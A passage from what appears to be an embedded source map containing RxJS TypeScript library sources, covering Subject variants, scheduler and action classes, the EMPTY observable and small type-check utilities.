isStopped, observers } = this;\n if (hasError || isStopped) {\n return EMPTY_SUBSCRIPTION;\n }\n this.currentObservers = null;\n observers.push(subscriber);\n return new Subscription(() => {\n this.currentObservers = null;\n arrRemove(observers, subscriber);\n });\n }\n\n /** @internal */\n protected _checkFinalizedStatuses(subscriber: Subscriber) {\n const { hasError, thrownError, isStopped } = this;\n if (hasError) {\n subscriber.error(thrownError);\n } else if (isStopped) {\n subscriber.complete();\n }\n }\n\n /**\n * Creates a new Observable with this Subject as the source. You can do this\n * to create custom Observer-side logic of the Subject and conceal it from\n * code that uses the Observable.\n * @return {Observable} Observable that the Subject casts to\n */\n asObservable(): Observable {\n const observable: any = new Observable();\n observable.source = this;\n return observable;\n }\n}\n\n/**\n * @class AnonymousSubject\n */\nexport class AnonymousSubject extends Subject {\n constructor(\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n public destination?: Observer,\n source?: Observable\n ) {\n super();\n this.source = source;\n }\n\n next(value: T) {\n this.destination?.next?.(value);\n }\n\n error(err: any) {\n this.destination?.error?.(err);\n }\n\n complete() {\n this.destination?.complete?.();\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n return this.source?.subscribe(subscriber) ?? EMPTY_SUBSCRIPTION;\n }\n}\n", "import { Subject } from './Subject';\nimport { Subscriber } from './Subscriber';\nimport { Subscription } from './Subscription';\n\n/**\n * A variant of Subject that requires an initial value and emits its current\n * value whenever it is subscribed to.\n *\n * @class BehaviorSubject\n */\nexport class BehaviorSubject extends Subject {\n constructor(private _value: T) {\n super();\n }\n\n get value(): T {\n return this.getValue();\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n const subscription = super._subscribe(subscriber);\n !subscription.closed && subscriber.next(this._value);\n return subscription;\n }\n\n getValue(): T {\n const { hasError, thrownError, _value } = this;\n if (hasError) {\n throw thrownError;\n }\n this._throwIfClosed();\n return _value;\n }\n\n next(value: T): void {\n super.next((this._value = value));\n }\n}\n", "import { TimestampProvider } from '../types';\n\ninterface DateTimestampProvider extends TimestampProvider {\n delegate: TimestampProvider | undefined;\n}\n\nexport const dateTimestampProvider: DateTimestampProvider = {\n now() {\n // Use the variable rather than `this` so that the function can be called\n // without being bound to the provider.\n return (dateTimestampProvider.delegate || Date).now();\n },\n delegate: undefined,\n};\n", "import { Subject } from './Subject';\nimport { TimestampProvider } from './types';\nimport { Subscriber } from './Subscriber';\nimport { Subscription } from './Subscription';\nimport { dateTimestampProvider } from './scheduler/dateTimestampProvider';\n\n/**\n * A variant of {@link Subject} that \"replays\" old values to new subscribers by emitting them when they first subscribe.\n *\n * `ReplaySubject` has an internal buffer that will store a specified number of values that it has observed. Like `Subject`,\n * `ReplaySubject` \"observes\" values by having them passed to its `next` method. When it observes a value, it will store that\n * value for a time determined by the configuration of the `ReplaySubject`, as passed to its constructor.\n *\n * When a new subscriber subscribes to the `ReplaySubject` instance, it will synchronously emit all values in its buffer in\n * a First-In-First-Out (FIFO) manner. The `ReplaySubject` will also complete, if it has observed completion; and it will\n * error if it has observed an error.\n *\n * There are two main configuration items to be concerned with:\n *\n * 1. `bufferSize` - This will determine how many items are stored in the buffer, defaults to infinite.\n * 2. `windowTime` - The amount of time to hold a value in the buffer before removing it from the buffer.\n *\n * Both configurations may exist simultaneously. So if you would like to buffer a maximum of 3 values, as long as the values\n * are less than 2 seconds old, you could do so with a `new ReplaySubject(3, 2000)`.\n *\n * ### Differences with BehaviorSubject\n *\n * `BehaviorSubject` is similar to `new ReplaySubject(1)`, with a couple of exceptions:\n *\n * 1. `BehaviorSubject` comes \"primed\" with a single value upon construction.\n * 2. `ReplaySubject` will replay values, even after observing an error, where `BehaviorSubject` will not.\n *\n * @see {@link Subject}\n * @see {@link BehaviorSubject}\n * @see {@link shareReplay}\n */\nexport class ReplaySubject extends Subject {\n private _buffer: (T | number)[] = [];\n private _infiniteTimeWindow = true;\n\n /**\n * @param bufferSize The size of the buffer to replay on subscription\n * @param windowTime The amount of time the buffered items will stay buffered\n * @param timestampProvider An object with a `now()` method that provides the current timestamp. This is used to\n * calculate the amount of time something has been buffered.\n */\n constructor(\n private _bufferSize = Infinity,\n private _windowTime = Infinity,\n private _timestampProvider: TimestampProvider = dateTimestampProvider\n ) {\n super();\n this._infiniteTimeWindow = _windowTime === Infinity;\n this._bufferSize = Math.max(1, _bufferSize);\n this._windowTime = Math.max(1, _windowTime);\n }\n\n next(value: T): void {\n const { isStopped, _buffer, _infiniteTimeWindow, _timestampProvider, _windowTime } = this;\n if (!isStopped) {\n _buffer.push(value);\n !_infiniteTimeWindow && _buffer.push(_timestampProvider.now() + _windowTime);\n }\n this._trimBuffer();\n super.next(value);\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n this._throwIfClosed();\n this._trimBuffer();\n\n const subscription = this._innerSubscribe(subscriber);\n\n const { _infiniteTimeWindow, _buffer } = this;\n // We use a copy here, so reentrant code does not mutate our array while we're\n // emitting it to a new subscriber.\n const copy = _buffer.slice();\n for (let i = 0; i < copy.length && !subscriber.closed; i += _infiniteTimeWindow ? 1 : 2) {\n subscriber.next(copy[i] as T);\n }\n\n this._checkFinalizedStatuses(subscriber);\n\n return subscription;\n }\n\n private _trimBuffer() {\n const { _bufferSize, _timestampProvider, _buffer, _infiniteTimeWindow } = this;\n // If we don't have an infinite buffer size, and we're over the length,\n // use splice to truncate the old buffer values off. Note that we have to\n // double the size for instances where we're not using an infinite time window\n // because we're storing the values and the timestamps in the same array.\n const adjustedBufferSize = (_infiniteTimeWindow ? 1 : 2) * _bufferSize;\n _bufferSize < Infinity && adjustedBufferSize < _buffer.length && _buffer.splice(0, _buffer.length - adjustedBufferSize);\n\n // Now, if we're not in an infinite time window, remove all values where the time is\n // older than what is allowed.\n if (!_infiniteTimeWindow) {\n const now = _timestampProvider.now();\n let last = 0;\n // Search the array for the first timestamp that isn't expired and\n // truncate the buffer up to that point.\n for (let i = 1; i < _buffer.length && (_buffer[i] as number) <= now; i += 2) {\n last = i;\n }\n last && _buffer.splice(0, last + 1);\n }\n }\n}\n", "import { Scheduler } from '../Scheduler';\nimport { Subscription } from '../Subscription';\nimport { SchedulerAction } from '../types';\n\n/**\n * A unit of work to be executed in a `scheduler`. An action is typically\n * created from within a {@link SchedulerLike} and an RxJS user does not need to concern\n * themselves about creating and manipulating an Action.\n *\n * ```ts\n * class Action extends Subscription {\n * new (scheduler: Scheduler, work: (state?: T) => void);\n * schedule(state?: T, delay: number = 0): Subscription;\n * }\n * ```\n *\n * @class Action\n */\nexport class Action extends Subscription {\n constructor(scheduler: Scheduler, work: (this: SchedulerAction, state?: T) => void) {\n super();\n }\n /**\n * Schedules this action on its parent {@link SchedulerLike} for execution. May be passed\n * some context object, `state`. May happen at some point in the future,\n * according to the `delay` parameter, if specified.\n * @param {T} [state] Some contextual data that the `work` function uses when\n * called by the Scheduler.\n * @param {number} [delay] Time to wait before executing the work, where the\n * time unit is implicit and defined by the Scheduler.\n * @return {void}\n */\n public schedule(state?: T, delay: number = 0): Subscription {\n return this;\n }\n}\n", "import type { TimerHandle } from './timerHandle';\ntype SetIntervalFunction = (handler: () => void, timeout?: number, ...args: any[]) => TimerHandle;\ntype ClearIntervalFunction = (handle: TimerHandle) => void;\n\ninterface IntervalProvider {\n setInterval: SetIntervalFunction;\n clearInterval: ClearIntervalFunction;\n delegate:\n | {\n setInterval: SetIntervalFunction;\n clearInterval: ClearIntervalFunction;\n }\n | undefined;\n}\n\nexport const intervalProvider: IntervalProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n setInterval(handler: () => void, timeout?: number, ...args) {\n const { delegate } = intervalProvider;\n if (delegate?.setInterval) {\n return delegate.setInterval(handler, timeout, ...args);\n }\n return setInterval(handler, timeout, ...args);\n },\n clearInterval(handle) {\n const { delegate } = intervalProvider;\n return (delegate?.clearInterval || clearInterval)(handle as any);\n },\n delegate: undefined,\n};\n", "import { Action } from './Action';\nimport { SchedulerAction } from '../types';\nimport { Subscription } from '../Subscription';\nimport { AsyncScheduler } from './AsyncScheduler';\nimport { intervalProvider } from './intervalProvider';\nimport { arrRemove } from '../util/arrRemove';\nimport { TimerHandle } from './timerHandle';\n\nexport class AsyncAction extends Action {\n public id: TimerHandle | undefined;\n public state?: T;\n // @ts-ignore: Property has no initializer and is not definitely assigned\n public delay: number;\n protected pending: boolean = false;\n\n constructor(protected scheduler: AsyncScheduler, protected work: (this: SchedulerAction, state?: T) => void) {\n super(scheduler, work);\n }\n\n public schedule(state?: T, delay: number = 0): Subscription {\n if (this.closed) {\n return this;\n }\n\n // Always replace the current state with the new state.\n this.state = state;\n\n const id = this.id;\n const scheduler = this.scheduler;\n\n //\n // Important implementation note:\n //\n // Actions only execute once by default, unless rescheduled from within the\n // scheduled callback. This allows us to implement single and repeat\n // actions via the same code path, without adding API surface area, as well\n // as mimic traditional recursion but across asynchronous boundaries.\n //\n // However, JS runtimes and timers distinguish between intervals achieved by\n // serial `setTimeout` calls vs. a single `setInterval` call. An interval of\n // serial `setTimeout` calls can be individually delayed, which delays\n // scheduling the next `setTimeout`, and so on. `setInterval` attempts to\n // guarantee the interval callback will be invoked more precisely to the\n // interval period, regardless of load.\n //\n // Therefore, we use `setInterval` to schedule single and repeat actions.\n // If the action reschedules itself with the same delay, the interval is not\n // canceled. If the action doesn't reschedule, or reschedules with a\n // different delay, the interval will be canceled after scheduled callback\n // execution.\n //\n if (id != null) {\n this.id = this.recycleAsyncId(scheduler, id, delay);\n }\n\n // Set the pending flag indicating that this action has been scheduled, or\n // has recursively rescheduled itself.\n this.pending = true;\n\n this.delay = delay;\n // If this action has already an async Id, don't request a new one.\n this.id = this.id ?? this.requestAsyncId(scheduler, this.id, delay);\n\n return this;\n }\n\n protected requestAsyncId(scheduler: AsyncScheduler, _id?: TimerHandle, delay: number = 0): TimerHandle {\n return intervalProvider.setInterval(scheduler.flush.bind(scheduler, this), delay);\n }\n\n protected recycleAsyncId(_scheduler: AsyncScheduler, id?: TimerHandle, delay: number | null = 0): TimerHandle | undefined {\n // If this action is rescheduled with the same delay time, don't clear the interval id.\n if (delay != null && this.delay === delay && this.pending === false) {\n return id;\n }\n // Otherwise, if the action's delay time is different from the current delay,\n // or the action has been rescheduled before it's executed, clear the interval id\n if (id != null) {\n intervalProvider.clearInterval(id);\n }\n\n return undefined;\n }\n\n /**\n * Immediately executes this action and the `work` it contains.\n * @return {any}\n */\n public execute(state: T, delay: number): any {\n if (this.closed) {\n return new Error('executing a cancelled action');\n }\n\n this.pending = false;\n const error = this._execute(state, delay);\n if (error) {\n return error;\n } else if (this.pending === false && this.id != null) {\n // Dequeue if the action didn't reschedule itself. Don't call\n // unsubscribe(), because the action could reschedule later.\n // For example:\n // ```\n // scheduler.schedule(function doWork(counter) {\n // /* ... I'm a busy worker bee ... */\n // var originalAction = this;\n // /* wait 100ms before rescheduling the action */\n // setTimeout(function () {\n // originalAction.schedule(counter + 1);\n // }, 100);\n // }, 1000);\n // ```\n this.id = this.recycleAsyncId(this.scheduler, this.id, null);\n }\n }\n\n protected _execute(state: T, _delay: number): any {\n let errored: boolean = false;\n let errorValue: any;\n try {\n this.work(state);\n } catch (e) {\n errored = true;\n // HACK: Since code elsewhere is relying on the \"truthiness\" of the\n // return here, we can't have it return \"\" or 0 or false.\n // TODO: Clean this up when we refactor schedulers mid-version-8 or so.\n errorValue = e ? e : new Error('Scheduled action threw falsy error');\n }\n if (errored) {\n this.unsubscribe();\n return errorValue;\n }\n }\n\n unsubscribe() {\n if (!this.closed) {\n const { id, scheduler } = this;\n const { actions } = scheduler;\n\n this.work = this.state = this.scheduler = null!;\n this.pending = false;\n\n arrRemove(actions, this);\n if (id != null) {\n this.id = this.recycleAsyncId(scheduler, id, null);\n }\n\n this.delay = null!;\n super.unsubscribe();\n }\n }\n}\n", "import { Action } from './scheduler/Action';\nimport { Subscription } from './Subscription';\nimport { SchedulerLike, SchedulerAction } from './types';\nimport { dateTimestampProvider } from './scheduler/dateTimestampProvider';\n\n/**\n * An execution context and a data structure to order tasks and schedule their\n * execution. Provides a notion of (potentially virtual) time, through the\n * `now()` getter method.\n *\n * Each unit of work in a Scheduler is called an `Action`.\n *\n * ```ts\n * class Scheduler {\n * now(): number;\n * schedule(work, delay?, state?): Subscription;\n * }\n * ```\n *\n * @class Scheduler\n * @deprecated Scheduler is an internal implementation detail of RxJS, and\n * should not be used directly. Rather, create your own class and implement\n * {@link SchedulerLike}. Will be made internal in v8.\n */\nexport class Scheduler implements SchedulerLike {\n public static now: () => number = dateTimestampProvider.now;\n\n constructor(private schedulerActionCtor: typeof Action, now: () => number = Scheduler.now) {\n this.now = now;\n }\n\n /**\n * A getter method that returns a number representing the current time\n * (at the time this function was called) according to the scheduler's own\n * internal clock.\n * @return {number} A number that represents the current time. May or may not\n * have a relation to wall-clock time. May or may not refer to a time unit\n * (e.g. milliseconds).\n */\n public now: () => number;\n\n /**\n * Schedules a function, `work`, for execution. May happen at some point in\n * the future, according to the `delay` parameter, if specified. May be passed\n * some context object, `state`, which will be passed to the `work` function.\n *\n * The given arguments will be processed an stored as an Action object in a\n * queue of actions.\n *\n * @param {function(state: ?T): ?Subscription} work A function representing a\n * task, or some unit of work to be executed by the Scheduler.\n * @param {number} [delay] Time to wait before executing the work, where the\n * time unit is implicit and defined by the Scheduler itself.\n * @param {T} [state] Some contextual data that the `work` function uses when\n * called by the Scheduler.\n * @return {Subscription} A subscription in order to be able to unsubscribe\n * the scheduled work.\n */\n public schedule(work: (this: SchedulerAction, state?: T) => void, delay: number = 0, state?: T): Subscription {\n return new this.schedulerActionCtor(this, work).schedule(state, delay);\n }\n}\n", "import { Scheduler } from '../Scheduler';\nimport { Action } from './Action';\nimport { AsyncAction } from './AsyncAction';\nimport { TimerHandle } from './timerHandle';\n\nexport class AsyncScheduler extends Scheduler {\n public actions: Array> = [];\n /**\n * A flag to indicate whether the Scheduler is currently executing a batch of\n * queued actions.\n * @type {boolean}\n * @internal\n */\n public _active: boolean = false;\n /**\n * An internal ID used to track the latest asynchronous task such as those\n * coming from `setTimeout`, `setInterval`, `requestAnimationFrame`, and\n * others.\n * @type {any}\n * @internal\n */\n public _scheduled: TimerHandle | undefined;\n\n constructor(SchedulerAction: typeof Action, now: () => number = Scheduler.now) {\n super(SchedulerAction, now);\n }\n\n public flush(action: AsyncAction): void {\n const { actions } = this;\n\n if (this._active) {\n actions.push(action);\n return;\n }\n\n let error: any;\n this._active = true;\n\n do {\n if ((error = action.execute(action.state, action.delay))) {\n break;\n }\n } while ((action = actions.shift()!)); // exhaust the scheduler queue\n\n this._active = false;\n\n if (error) {\n while ((action = actions.shift()!)) {\n action.unsubscribe();\n }\n throw error;\n }\n }\n}\n", "import { AsyncAction } from './AsyncAction';\nimport { AsyncScheduler } from './AsyncScheduler';\n\n/**\n *\n * Async Scheduler\n *\n * Schedule task as if you used setTimeout(task, duration)\n *\n * `async` scheduler schedules tasks asynchronously, by putting them on the JavaScript\n * event loop queue. It is best used to delay tasks in time or to schedule tasks repeating\n * in intervals.\n *\n * If you just want to \"defer\" task, that is to perform it right after currently\n * executing synchronous code ends (commonly achieved by `setTimeout(deferredTask, 0)`),\n * better choice will be the {@link asapScheduler} scheduler.\n *\n * ## Examples\n * Use async scheduler to delay task\n * ```ts\n * import { asyncScheduler } from 'rxjs';\n *\n * const task = () => console.log('it works!');\n *\n * asyncScheduler.schedule(task, 2000);\n *\n * // After 2 seconds logs:\n * // \"it works!\"\n * ```\n *\n * Use async scheduler to repeat task in intervals\n * ```ts\n * import { asyncScheduler } from 'rxjs';\n *\n * function task(state) {\n * console.log(state);\n * this.schedule(state + 1, 1000); // `this` references currently executing Action,\n * // which we reschedule with new state and delay\n * }\n *\n * asyncScheduler.schedule(task, 3000, 0);\n *\n * // Logs:\n * // 0 after 3s\n * // 1 after 4s\n * // 2 after 5s\n * // 3 after 6s\n * ```\n */\n\nexport const asyncScheduler = new AsyncScheduler(AsyncAction);\n\n/**\n * @deprecated Renamed to {@link asyncScheduler}. Will be removed in v8.\n */\nexport const async = asyncScheduler;\n", "import { AsyncAction } from './AsyncAction';\nimport { Subscription } from '../Subscription';\nimport { QueueScheduler } from './QueueScheduler';\nimport { SchedulerAction } from '../types';\nimport { TimerHandle } from './timerHandle';\n\nexport class QueueAction extends AsyncAction {\n constructor(protected scheduler: QueueScheduler, protected work: (this: SchedulerAction, state?: T) => void) {\n super(scheduler, work);\n }\n\n public schedule(state?: T, delay: number = 0): Subscription {\n if (delay > 0) {\n return super.schedule(state, delay);\n }\n this.delay = delay;\n this.state = state;\n this.scheduler.flush(this);\n return this;\n }\n\n public execute(state: T, delay: number): any {\n return delay > 0 || this.closed ? super.execute(state, delay) : this._execute(state, delay);\n }\n\n protected requestAsyncId(scheduler: QueueScheduler, id?: TimerHandle, delay: number = 0): TimerHandle {\n // If delay exists and is greater than 0, or if the delay is null (the\n // action wasn't rescheduled) but was originally scheduled as an async\n // action, then recycle as an async action.\n\n if ((delay != null && delay > 0) || (delay == null && this.delay > 0)) {\n return super.requestAsyncId(scheduler, id, delay);\n }\n\n // Otherwise flush the scheduler starting with this action.\n scheduler.flush(this);\n\n // HACK: In the past, this was returning `void`. However, `void` isn't a valid\n // `TimerHandle`, and generally the return value here isn't really used. So the\n // compromise is to return `0` which is both \"falsy\" and a valid `TimerHandle`,\n // as opposed to refactoring every other instanceo of `requestAsyncId`.\n return 0;\n }\n}\n", "import { AsyncScheduler } from './AsyncScheduler';\n\nexport class QueueScheduler extends AsyncScheduler {\n}\n", "import { QueueAction } from './QueueAction';\nimport { QueueScheduler } from './QueueScheduler';\n\n/**\n *\n * Queue Scheduler\n *\n * Put every next task on a queue, instead of executing it immediately\n *\n * `queue` scheduler, when used with delay, behaves the same as {@link asyncScheduler} scheduler.\n *\n * When used without delay, it schedules given task synchronously - executes it right when\n * it is scheduled. However when called recursively, that is when inside the scheduled task,\n * another task is scheduled with queue scheduler, instead of executing immediately as well,\n * that task will be put on a queue and wait for current one to finish.\n *\n * This means that when you execute task with `queue` scheduler, you are sure it will end\n * before any other task scheduled with that scheduler will start.\n *\n * ## Examples\n * Schedule recursively first, then do something\n * ```ts\n * import { queueScheduler } from 'rxjs';\n *\n * queueScheduler.schedule(() => {\n * queueScheduler.schedule(() => console.log('second')); // will not happen now, but will be put on a queue\n *\n * console.log('first');\n * });\n *\n * // Logs:\n * // \"first\"\n * // \"second\"\n * ```\n *\n * Reschedule itself recursively\n * ```ts\n * import { queueScheduler } from 'rxjs';\n *\n * queueScheduler.schedule(function(state) {\n * if (state !== 0) {\n * console.log('before', state);\n * this.schedule(state - 1); // `this` references currently executing Action,\n * // which we reschedule with new state\n * console.log('after', state);\n * }\n * }, 0, 3);\n *\n * // In scheduler that runs recursively, you would expect:\n * // \"before\", 3\n * // \"before\", 2\n * // \"before\", 1\n * // \"after\", 1\n * // \"after\", 2\n * // \"after\", 3\n *\n * // But with queue it logs:\n * // \"before\", 3\n * // \"after\", 3\n * // \"before\", 2\n * // \"after\", 2\n * // \"before\", 1\n * // \"after\", 1\n * ```\n */\n\nexport const queueScheduler = new QueueScheduler(QueueAction);\n\n/**\n * @deprecated Renamed to {@link queueScheduler}. Will be removed in v8.\n */\nexport const queue = queueScheduler;\n", "import { AsyncAction } from './AsyncAction';\nimport { AnimationFrameScheduler } from './AnimationFrameScheduler';\nimport { SchedulerAction } from '../types';\nimport { animationFrameProvider } from './animationFrameProvider';\nimport { TimerHandle } from './timerHandle';\n\nexport class AnimationFrameAction extends AsyncAction {\n constructor(protected scheduler: AnimationFrameScheduler, protected work: (this: SchedulerAction, state?: T) => void) {\n super(scheduler, work);\n }\n\n protected requestAsyncId(scheduler: AnimationFrameScheduler, id?: TimerHandle, delay: number = 0): TimerHandle {\n // If delay is greater than 0, request as an async action.\n if (delay !== null && delay > 0) {\n return super.requestAsyncId(scheduler, id, delay);\n }\n // Push the action to the end of the scheduler queue.\n scheduler.actions.push(this);\n // If an animation frame has already been requested, don't request another\n // one. If an animation frame hasn't been requested yet, request one. Return\n // the current animation frame request id.\n return scheduler._scheduled || (scheduler._scheduled = animationFrameProvider.requestAnimationFrame(() => scheduler.flush(undefined)));\n }\n\n protected recycleAsyncId(scheduler: AnimationFrameScheduler, id?: TimerHandle, delay: number = 0): TimerHandle | undefined {\n // If delay exists and is greater than 0, or if the delay is null (the\n // action wasn't rescheduled) but was originally scheduled as an async\n // action, then recycle as an async action.\n if (delay != null ? delay > 0 : this.delay > 0) {\n return super.recycleAsyncId(scheduler, id, delay);\n }\n // If the scheduler queue has no remaining actions with the same async id,\n // cancel the requested animation frame and set the scheduled flag to\n // undefined so the next AnimationFrameAction will request its own.\n const { actions } = scheduler;\n if (id != null && actions[actions.length - 1]?.id !== id) {\n animationFrameProvider.cancelAnimationFrame(id as number);\n scheduler._scheduled = undefined;\n }\n // Return undefined so the action knows to request a new async id if it's rescheduled.\n return undefined;\n }\n}\n", "import { AsyncAction } from './AsyncAction';\nimport { AsyncScheduler } from './AsyncScheduler';\n\nexport class AnimationFrameScheduler extends AsyncScheduler {\n public flush(action?: AsyncAction): void {\n this._active = true;\n // The async id that effects a call to flush is stored in _scheduled.\n // Before executing an action, it's necessary to check the action's async\n // id to determine whether it's supposed to be executed in the current\n // flush.\n // Previous implementations of this method used a count to determine this,\n // but that was unsound, as actions that are unsubscribed - i.e. cancelled -\n // are removed from the actions array and that can shift actions that are\n // scheduled to be executed in a subsequent flush into positions at which\n // they are executed within the current flush.\n const flushId = this._scheduled;\n this._scheduled = undefined;\n\n const { actions } = this;\n let error: any;\n action = action || actions.shift()!;\n\n do {\n if ((error = action.execute(action.state, action.delay))) {\n break;\n }\n } while ((action = actions[0]) && action.id === flushId && actions.shift());\n\n this._active = false;\n\n if (error) {\n while ((action = actions[0]) && action.id === flushId && actions.shift()) {\n action.unsubscribe();\n }\n throw error;\n }\n }\n}\n", "import { AnimationFrameAction } from './AnimationFrameAction';\nimport { AnimationFrameScheduler } from './AnimationFrameScheduler';\n\n/**\n *\n * Animation Frame Scheduler\n *\n * Perform task when `window.requestAnimationFrame` would fire\n *\n * When `animationFrame` scheduler is used with delay, it will fall back to {@link asyncScheduler} scheduler\n * behaviour.\n *\n * Without delay, `animationFrame` scheduler can be used to create smooth browser animations.\n * It makes sure scheduled task will happen just before next browser content repaint,\n * thus performing animations as efficiently as possible.\n *\n * ## Example\n * Schedule div height animation\n * ```ts\n * // html:
\n * import { animationFrameScheduler } from 'rxjs';\n *\n * const div = document.querySelector('div');\n *\n * animationFrameScheduler.schedule(function(height) {\n * div.style.height = height + \"px\";\n *\n * this.schedule(height + 1); // `this` references currently executing Action,\n * // which we reschedule with new state\n * }, 0, 0);\n *\n * // You will see a div element growing in height\n * ```\n */\n\nexport const animationFrameScheduler = new AnimationFrameScheduler(AnimationFrameAction);\n\n/**\n * @deprecated Renamed to {@link animationFrameScheduler}. Will be removed in v8.\n */\nexport const animationFrame = animationFrameScheduler;\n", "import { Observable } from '../Observable';\nimport { SchedulerLike } from '../types';\n\n/**\n * A simple Observable that emits no items to the Observer and immediately\n * emits a complete notification.\n *\n * Just emits 'complete', and nothing else.\n *\n * ![](empty.png)\n *\n * A simple Observable that only emits the complete notification. It can be used\n * for composing with other Observables, such as in a {@link mergeMap}.\n *\n * ## Examples\n *\n * Log complete notification\n *\n * ```ts\n * import { EMPTY } from 'rxjs';\n *\n * EMPTY.subscribe({\n * next: () => console.log('Next'),\n * complete: () => console.log('Complete!')\n * });\n *\n * // Outputs\n * // Complete!\n * ```\n *\n * Emit the number 7, then complete\n *\n * ```ts\n * import { EMPTY, startWith } from 'rxjs';\n *\n * const result = EMPTY.pipe(startWith(7));\n * result.subscribe(x => console.log(x));\n *\n * // Outputs\n * // 7\n * ```\n *\n * Map and flatten only odd numbers to the sequence `'a'`, `'b'`, `'c'`\n *\n * ```ts\n * import { interval, mergeMap, of, EMPTY } from 'rxjs';\n *\n * const interval$ = interval(1000);\n * const result = interval$.pipe(\n * mergeMap(x => x % 2 === 1 ? of('a', 'b', 'c') : EMPTY),\n * );\n * result.subscribe(x => console.log(x));\n *\n * // Results in the following to the console:\n * // x is equal to the count on the interval, e.g. (0, 1, 2, 3, ...)\n * // x will occur every 1000ms\n * // if x % 2 is equal to 1, print a, b, c (each on its own)\n * // if x % 2 is not equal to 1, nothing will be output\n * ```\n *\n * @see {@link Observable}\n * @see {@link NEVER}\n * @see {@link of}\n * @see {@link throwError}\n */\nexport const EMPTY = new Observable((subscriber) => subscriber.complete());\n\n/**\n * @param scheduler A {@link SchedulerLike} to use for scheduling\n * the emission of the complete notification.\n * @deprecated Replaced with the {@link EMPTY} constant or {@link scheduled} (e.g. `scheduled([], scheduler)`). Will be removed in v8.\n */\nexport function empty(scheduler?: SchedulerLike) {\n return scheduler ? emptyScheduled(scheduler) : EMPTY;\n}\n\nfunction emptyScheduled(scheduler: SchedulerLike) {\n return new Observable((subscriber) => scheduler.schedule(() => subscriber.complete()));\n}\n", "import { SchedulerLike } from '../types';\nimport { isFunction } from './isFunction';\n\nexport function isScheduler(value: any): value is SchedulerLike {\n return value && isFunction(value.schedule);\n}\n", "import { SchedulerLike } from '../types';\nimport { isFunction } from './isFunction';\nimport { isScheduler } from './isScheduler';\n\nfunction last(arr: T[]): T | undefined {\n return arr[arr.length - 1];\n}\n\nexport function popResultSelector(args: any[]): ((...args: unknown[]) => unknown) | undefined {\n return isFunction(last(args)) ? args.pop() : undefined;\n}\n\nexport function popScheduler(args: any[]): SchedulerLike | undefined {\n return isScheduler(last(args)) ? args.pop() : undefined;\n}\n\nexport function popNumber(args: any[], defaultValue: number): number {\n return typeof last(args) === 'number' ? args.pop()! : defaultValue;\n}\n", "export const isArrayLike = ((x: any): x is ArrayLike => x && typeof x.length === 'number' && typeof x !== 'function');", "import { isFunction } from \"./isFunction\";\n\n/**\n * Tests to see if the object is \"thennable\".\n * @param value the object to test\n */\nexport function isPromise(value: any): value is PromiseLike {\n return isFunction(value?.then);\n}\n", "import { InteropObservable } from '../types';\nimport { observable as Symbol_observable } from '../symbol/observable';\nimport { isFunction } from './isFunction';\n\n/** Identifies an input as being Observable (but not necessary an Rx Observable) */\nexport function isInteropObservable(input: any): input is InteropObservable {\n return isFunction(input[Symbol_observable]);\n}\n", "import { isFunction } from './isFunction';\n\nexport function isAsyncIterable(obj: any): obj is AsyncIterable {\n return Symbol.asyncIterator && isFunction(obj?.[Symbol.asyncIterator]);\n}\n", "/**\n * Creates the TypeError to throw if an invalid object is passed to `from` or `scheduled`.\n * @param input The object that was passed.\n */\nexport function createInvalidObservableTypeError(input: any) {\n // TODO: We should create error codes that can be looked up, so this can be less verbose.\n return new TypeError(\n `You provided ${\n input !== null && typeof input === 'object' ? 'an invalid object' : `'${input}'`\n } where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.`\n );\n}\n", "export function getSymbolIterator(): symbol {\n if (typeof Symbol !== 'function' || !Symbol.iterator) {\n return '@@iterator' as any;\n }\n\n return Symbol.iterator;\n}\n\nexport const iterator = getSymbolIterator();\n", "import { iterator as Symbol_iterator } from '../symbol/iterator';\nimport { isFunction } from './isFunction';\n\n/** Identifies an input as being an Iterable */\nexport function isIterable(input: any): input is Iterable {\n return isFunction(input?.[Symbol_iterator]);\n}\n", "import { ReadableStreamLike } from '../types';\nimport { isFunction } from './isFunction';\n\nexport async function* readableStreamLikeToAsyncGenerator(readableStream: ReadableStreamLike): AsyncGenerator {\n const reader = readableStream.getReader();\n try {\n while (true) {\n const { value, done } = await reader.read();\n if (done) {\n return;\n }\n yield value!;\n }\n } finally {\n reader.releaseLock();\n }\n}\n\nexport function isReadableStreamLike(obj: any): obj is ReadableStreamLike {\n // We don't want to use instanceof checks because they would return\n // false for instances from another Realm, like an